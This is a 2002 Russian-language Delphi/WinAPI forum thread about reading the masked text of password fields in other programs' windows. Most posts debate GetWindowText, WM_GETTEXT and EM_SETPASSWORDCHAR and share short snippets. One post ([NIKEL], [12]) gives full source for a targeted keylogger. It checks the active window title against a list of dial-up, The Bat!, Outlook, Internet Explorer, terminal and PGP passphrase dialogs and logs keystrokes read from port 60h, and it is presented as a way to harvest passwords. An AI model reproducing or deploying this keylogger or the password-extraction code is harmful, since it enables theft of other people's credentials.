Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2002.06.13;
Скачать: [xml.tar.bz2];

Вниз

Взять текст   Найти похожие ветки 

 
guliver   (2002-02-28 01:32) [0]

Привет всем! Как из чужого окна из edit box"a со звездочками получить нормальный текст? Заранее спасибо.


 
yaJohn   (2002-02-28 15:39) [1]

procedure TForm1.Timer1Timer(Sender: TObject);
var s: string;
h:HWND;
begin
h:=WindowFromPoint(Mouse.CursorPos);
setlength(s,GetWindowTextLength(h)+1);
GetWindowText(h,pchar(s),length(s));
Caption:=s;
end;


 
VuDZ   (2002-02-28 15:42) [2]

только не везде это прокатит.
у меня во всех таких окнах, введённый текст второй поток копирует в другой буфер, а за место введённо печатает всякую фигню (когда знакомый пытался обойти такую заshitу, у него чуть крыша не поехала, да и не только из-за этого)


 
Raptor   (2002-02-28 21:30) [3]

То что написал yaJohn вообще нигде не покатит.
Ведь в MSDN ясно написано:
This function cannot retrieve the text of an edit control in another application.
Потому придется юзать SendMessage(wnd,WM_GETTEXT,...).



 
[NIKEL]   (2002-03-01 05:51) [4]

перед тем как задавать вопросы - поищи! может кто уже задавал такие - написано перед окном ввода сообщения в форуме...
поищи хорошенько, я точно на такой вопрос отвечал...


 
Raptor   (2002-03-01 12:42) [5]

Ну вот такой прмерчик:

....................................
buf:Array [0..255] Of Char;
wnd:HWND;//хендл едита
s:String;
......................................
SendMessage(wnd,WM_GETTEXT,255,Integer(@buf));
s:=Buf;
......................................


 
Sasha9   (2002-03-01 13:49) [6]

2Raptor
только в SendMessage(wnd,WM_GETTEXT, 255 ,Integer(@buf)); не 255, а 256


 
Hollander   (2002-03-01 14:24) [7]

Текст пересылается любому окну чз Get(Set)WindowText или чз сообщение WM_GET(SET)TEXT. Вручную имеет смысл посылать только тогда, когда окно не просто в другом процессе, а если есть опасность зависания. Тогда можно послать чз функцию SendMessageTimeout . Вся фишка в том, что SendMessage для другого процесса ожидает выборки из очереди и обработки. В текущем процессе происходит просто вызов функции окна. Следовательно GetWindowText эквивалентно SendMessage(WM_GETTEXT)

Вот что в MSDN:
If the target window is owned by the current process, GetWindowText causes a WM_GETTEXT message to be sent to the specified window or control. If the target window is owned by another process and has a caption, GetWindowText retrieves the window caption text. If the window does not have a caption, the return value is a null string. This behavior is by design. It allows applications to call GetWindowText without hanging if the process that owns the target window is hung. However, if the target window is hung and it belongs to the calling application, GetWindowText will hang the calling application.

To retrieve the text of a control in another process, send a WM_GETTEXT message directly instead of calling GetWindowText.


 
yaJohn   (2002-03-01 17:29) [8]

2 Raptor ©
>То что написал yaJohn вообще нигде не покатит.
To, chto pishet yaJohn, on obichno proveriaet na rabotosposobnost". Esli ne proveriaet - znachit uveren na 100% chto budet rabotat" i ukazivaet "ne provereno".
Voz"mite na sebia trud cherez Clipboard vstavit" privedenniy kod v Delphi, otkompilirovat" i zapustit".


 
Suntechnic   (2002-03-01 17:53) [9]

По вопросу однозначно FAQ плачет :)...
Пришлось мне однажды занятся этой проблемой по причине забытия пороля к Messenger-у :)
GetWindowText, точно так же как и SendMessage, не будут работать для чужого процесса под Win2000. Для того, чтобы получить текст из чужого процесс под Win2000 необходимо внедрятся в чужое адресное пространство. Если автору это необходимо для спортивного инетереса, тогда пусть читает про хуки(или другие методы внедрения), а если просто пароль куда-нибудь забыл, тогда могу выслать программку собственного изготовления (Работоспособность проверена под Win98, Win2000, WinXP).


 
Raptor   (2002-03-02 01:28) [10]

2 Sasha9
Ок. Молодец, нашел ошибку. :-))
Хотя это даже не ошибка.

2 Hollander
Специально для тебя привожу строчку из MSDN снова.
This function (GetWindowText) cannot retrieve the text of an edit control in another application.

2 yaJohn
Ладно, уговорил. Проверил я твой код. Результат негативный. Если просто: ОН НЕ РАБОТАЕТ. Хотя я в этом и не сомневался, так как когда-то тоже таким же образом пытался вытянуть текст из эдита и наступал на эти грабли. Так что советую получше прверять свой код и прочитать MSDN по этому поводу (смотри ответ 2 Hollander).

2 Suntechnic
GetWindowText, точно так же как и SendMessage, не будут работать для чужого процесса под Win2000

Ты не прав, однозначно. Я спокойно вытягиваю текст из чужого эдита с помощью приведенного мной кода (через SendMessage(...,WM_GETTEXT,...)) под вынь2к безо всякого внедрения в чужой процесс.


 
absent   (2002-03-02 11:44) [11]

to Raptor:

Не люблю связываться со статичными массивами :)
поэтому немного подправил:

procedure TForm1.Timer1Timer(Sender: TObject);
var
s: string;
h: HWND;
begin
h := WindowFromPoint(Mouse.CursorPos);
SetLength(s, SendMessage(h, WM_GETTEXTLENGTH, 0, 0)+1);
SendMessage(h, WM_GETTEXT, length(s), Integer(PChar(s)));
SetLength(s, lStrLen(PChar(s)));
Label1.Caption := s;
end;

Под XP все нормально захватывает.
Некрасиво то, что вся эта ерунда висит на таймере...


 
[NIKEL]   (2002-03-02 12:47) [12]

Вот хороший способ высосать пароли из едитов определенных программ - Достоинством метода является отсутствие необходимости читать длинющие keylog - записи, тк кейлоггинг ведется только в интересующих нас окнах (Terminal, DUN, etc...).

unit ksf;
interface
uses windows,Controls,Forms, StdCtrls, Classes, ExtCtrls;

type
Tf1 = class(TForm)
t1: TTimer;
m1: TMemo;
procedure t1t(Sender: TObject);
end;

var
f1: Tf1;
okey:byte;
KAr:array[1..88] of pchar=("-Esc-","1","2","3","4","5","6","7","8","9",
"0","-","=","bsp","-Tab-","q","w","e","r","t","y","u","i","o","p",
"[","]","#13","-Ctrl-","a","s","d","f","g","h","j","k","l",";","""","`",
"-Shift-","\","z","x","c","v","b","n","m",",",".","/","-Shift-","*",
"Alt"," ","CL","F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","NL",
"SL","-Home-","-Up-","-PgUp-","-","-Left-","-*5*-","-Right-","+",
"-End-","-Down-","-PDn-","-Ins-","-Del-","","","-Unk-","F11","F12");

implementation
{$R *.DFM}

procedure Tf1.t1t(Sender: TObject);
var
key:byte;
cap0:pchar;
cap1:string;
begin
getmem(cap0,255);
GetWindowText(GetforegroundWindow,cap0,255); //title активного окна
cap1:=cap0;
freemem(cap0);
if(pos("Connect To",cap1)<>0)or //DialUP
(pos("Установка связи",cap1)<>0)or //DialUP
(pos("Вход в систему",cap1)<>0)or //DialUP
(pos("EType Dialer",cap1)<>0)or //DialUP
(pos("p Networking",cap1)<>0)or //DialUP
(pos("p Connection",cap1)<>0)or //DialUP
(pos("Connecting to",cap1)<>0)or //DialUP
(pos("Connessione a",cap1)<>0)or //DialUP
(pos("Edit User - ",cap1)<>0)or //The Bat!
(pos("Мастер подключения к Интернету",cap1)<>0)or //MSIE,MSOutlook,etc
(pos("сетевого пароля",cap1)<>0)or //MSIE
(pos("Свойства: ",cap1)<>0)or //MSOutlook
(pos("Вход - ",cap1)<>0)or //MSOutlook
(pos(" - Receiving mail",cap1)<>0)or //The Bat!
(pos("Окно терминала",cap1)<>0)or //Terminal
(pos("Passphrase",cap1)<>0) //PGP Disk
then
begin
asm
in al,60h // Читаем из 60h порта нажатую кнопку в al
mov key,al // Перемещаем код ключа из al в Key
end;
if okey<>key then
begin
okey:=key;
if key<=88 then // Ловим Key_Down код
m1.text:=m1.text+kAr[Key] // И берем по этому коду из массива строку
end;
end;
end;



 
Suntechnic   (2002-03-03 23:10) [13]

>Raptor © (02.03.02 01:28)
>Ты не прав, однозначно. Я спокойно вытягиваю текст из чужого эдита с помощью приведенного мной кода (через >SendMessage(...,WM_GETTEXT,...)) под вынь2к безо всякого внедрения в чужой процесс.

Насчёт неправ однозначно это ты погорячился :)... А если серьёзно, тут дело вот в чём. У меня была проблема: достать забытый пароль к MS Messenger-у. И все эксперименты я проводил именно с ним. Так вот. Для MS Messenger-а не работают ни GetWindowText, ни SendMessage WM_GETTEXT. Более того... у меня есть ещё одно приложение написанное на MFC и там тоже WM_GETTEXT, на диалоге ввода пороля не работает!!!(Это приложение написанно мной, так что никаких специальных трюков при вводе пароля там не используется) Хотя если написать простенький пример на Delphi Edit-ом посреди формы и задать ему сво-во для ввода пароля, то вроде WM_GETTEXT работает. Какой отсюда вывод? Да понятия не имею :) Честно говоря и лень разбираться, но универсальное решение именно с внедрением, если конечно ты не хочешь использовать свою программку для вскрытия паролей только в приложениях написанных на Delphi или CBuilder.


 
derr   (2002-03-04 16:18) [14]

Много споров из ничего.
Идем на
http://blackman.km.ru/docum.html
и качаем:
proga.zip Взаимодействие с другими программами

Getwinapi.zip
Использование Debug API: пример перехвата вызовов функций Win32 API Ketmar, Мастера Delphi(8)

api.zip
Справочник по функциям Windows API(92

Все будет кристально ясно ! Читать надо.


 
Raptor   (2002-03-04 19:48) [15]

2 absent
Не люблю связываться со статичными массивами :)

Я тоже. ;-)
Но здесь вот в чем дело. Иногда у меня пролетал такой глюк, что
SendMessage(...,WM_GETTEXTLENGTH,...) возвращал 0, а в самом деле текст в эдите был. Причем при насильном выставлении размера буфера и вызове SendMessage(...,WM_GETTEXT,...) текст я получал нормально. Потому теперь для этих целей, что бы подстраховаться, я всегда использую статический массив и не вызывю WM_GETTEXTLENGTH.

2 Suntechnic
Да, я знаю эту проблему с MS-скими эдитами. Имхо в MFC они специально для паролей используют не стандартный эдит, а какой-то класс-надстройку над ним, который не возвращает текст по WM_GETTEXT.

2 [NIKEL]
Интересно, а ты пробовал все это запустить под Win NT/2k/XP?
Попробуй, потом расскажешь что у тебя получилось. ;-)


 
Suntechnic   (2002-03-05 00:20) [16]

>Raptor © (04.03.02 19:48)
>Имхо в MFC они специально для паролей используют не стандартный эдит, а какой-то класс-надстройку над ним...

Скорее наоборот... Delphi использует нестандартый Edit ;)

>derr (04.03.02 16:18)
>Все будет кристально ясно ! Читать надо.

Ты бы лучше по существу чего-нибудь сказал, вместо того, чтобы демагогией заниматься, начитанный ты наш...


 
Suntechnic   (2002-03-05 00:20) [17]

>Raptor © (04.03.02 19:48)
>Имхо в MFC они специально для паролей используют не стандартный эдит, а какой-то класс-надстройку над ним...

Скорее наоборот... Delphi использует нестандартый Edit ;)

>derr (04.03.02 16:18)
>Все будет кристально ясно ! Читать надо.

Ты бы лучше по существу чего-нибудь сказал, вместо того, чтобы демагогией заниматься, начитанный ты наш...


 
Raptor   (2002-03-05 10:42) [18]

2 Suntechnic
Скорее наоборот... Delphi использует нестандартый Edit ;)

Не, делфа использует стандартный эдит, проверено.
Если не веришь, можешь посмотреть исходники VCL.


 
Suntechnic   (2002-03-05 16:43) [19]

>Raptor © (05.03.02 10:42)
А какой по-твоему edit используется в MFC? Тут дело скорее всего в другом. В принципиальном подходе создания самого диалогового окна. В MFC все диалоговые окна создаются так, как и предусмотрено в WinAPI: с помощью шаблона ресурса. Так что говорить о нестандартности как-то язык не поворачивается. А вот в Delphi применяется несколько другой подход. Вопрос: это где ж тогда по-твоему нестандартно?


 
Raptor   (2002-03-05 22:53) [20]

Не знаю. С MFC я не очень дружу. Но если класс контрола один и тот же, то не имеет значения как он был создан. Делфа использует стандартный класс EDIT и класс TEdit только его обертка.
Может в MFC перехватывается процедура окна эдита и там игнорируется WM_GETTEXT. Причем, я так заметил, что это происходит только для некоторых эдитов, которые предназначены именно для ввода пароля. В других приложениях, написаных тоже с помощью MFC, текст без проблем вытаскивается. Даже если создавать контрол класса EDIT самому с помощью CreateWindowEx текст тоже без проблем вытаскивается. Отсюда выплывает, что проблемма именно в MFC. Но повторюсь, я с ней не очень дружу, потому ничего конкретного сказать не могу.


 
Suntechnic   (2002-03-05 23:04) [21]

>Raptor © (05.03.02 22:53)
Да в том то и дело, что MFC здесь скорее всего ни при чём. Пробовать честно говоря лень, но я почти уверен, что если написать пример с диалогом ввода пароля на Win API, то ты получишь такой же результат. А всё дело в том, что для создания диалоговых окон на Win API ты не применяшь прямые вызовы CreateWindowEx, а перекладываешь эти ф-ции на саму Win API. Delphi же построена так, что для любого "окна" делается прямой вызов CreateWindowEx. Так что проблема скорее всего имеенно в этом.


 
Raptor   (2002-03-06 22:12) [22]

Возможно и так. Но мне кажется, что даже если диалог создается с помощью функций Win API, то при этом тоже явно вызывается CreateWindowEx, только эти вызовы запрятаны в глубинах CreateDialog. Я не знаю другого метода создания окон и скорее всего его и не существует.
Надо будет как-то попробовать создать диалог с помощью средств Win API и посмотреть как он будет реагировать.


 
Raptor   (2002-03-08 16:16) [23]

Ну вот. Сделал пример создания диалога на чистом Win API с использованием функции CreateDialog. Диалог простенький - только две кнопки и эдит. Как я и ожидал текст из эдита вытягивается безо всяких проблем. Так что можно с увереностью сказать, что все дело в MFC и Делфа здесь ни при чем.


 
Suntechnic   (2002-03-08 17:37) [24]

Кто ж диалоговые окна пароля с помощью CreateDialog создаёт? Надо как минимум DialogBox использовать. Сам бы попробовал да честно говоря лень и какой в этом смысл? Это ничего нового в дискуссию не добавит. Как я уже и говорил, универсальный путь всё одно будет с использованием методов внедрения. А кто виноват что WM_GETTEXT не работает это не так принципиально.


 
Kernel32.dll   (2002-03-10 02:20) [25]

Если программа "довит" месседж WM_GETTEXT можно попробовать скормить ей EM_SETPASSWORDCHAR и перерисовать окно. Работает только с EDIT и TEDIT, но других запароленных я и не встречал


 
esprit_bel   (2002-04-05 08:51) [26]

Мужики я тут на всё на это посмотрел все красиво.Но есть такое хитрое окно "wingate internet client login".Мы долбим его долго-долго и мало-мало получили.Вы же умные ребята подскажите что- нибудь реальное!


 
Raptor   (2002-04-06 14:49) [27]

Тут подсказать ничего нельзя. Если разработчики написали для этих целей специальный контрол и не используют стандартный, то только они знают как там все устроено. И никакие WM_GETTEXT и EM_SETPASSWORDCHAR здесь не помогут. :-(


 
cok   (2002-04-06 19:23) [28]

Сабж попрет только на Вунь98 и ниже (может и на Ме).


 
Raptor   (2002-04-06 21:30) [29]

2 cok
Да ты что!
У меня на Win2k "прет". :-)
А может Win2k ниже "Вунь98"... ;-))


 
Suntechnic   (2002-04-06 23:18) [30]

>Raptor ©,cok ©
Вы решили флейм месечной давности по новой пройти? :)


 
Raptor   (2002-04-07 01:12) [31]

Да нет. Это я так, не удержался. ;-))


 
esprit_bel   (2002-04-08 05:48) [32]

Дорогой Raptor тут промелькнуло "У меня на Win2k "прет". :-)".А что бы это значило?


 
Derr   (2002-04-11 17:03) [33]

>Suntechnic
По существу просили:
Посылаем окну SendMessage(H, WM_CHAR,...
Нажатие CTR/a и Ctr/insert
В буфере обмена имеем содержимое ..
Модуль sendkeysroutine.zip
См. на http://blackman.km.ru/primer.html
Таити, таити. Нас и тут неплохо кормят !



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2002.06.13;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.54 MB
Время: 0.005 c
4-40201
nikulin
2002-04-10 19:28
2002.06.13
Как вызвать функцию API NetMessageBufferSend??


3-39950
Пользователь
2002-05-21 09:49
2002.06.13
Хранимая процедура


1-39988
Юрий Ю.
2002-05-25 08:44
2002.06.13
CASE ООП интегрированные с Delphi


3-39931
Катерина
2002-05-18 13:16
2002.06.13
Общий тип поля


6-40131
EskimOS
2002-04-03 11:15
2002.06.13
Как определить получает ли адаптер пакеты из сети...?





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский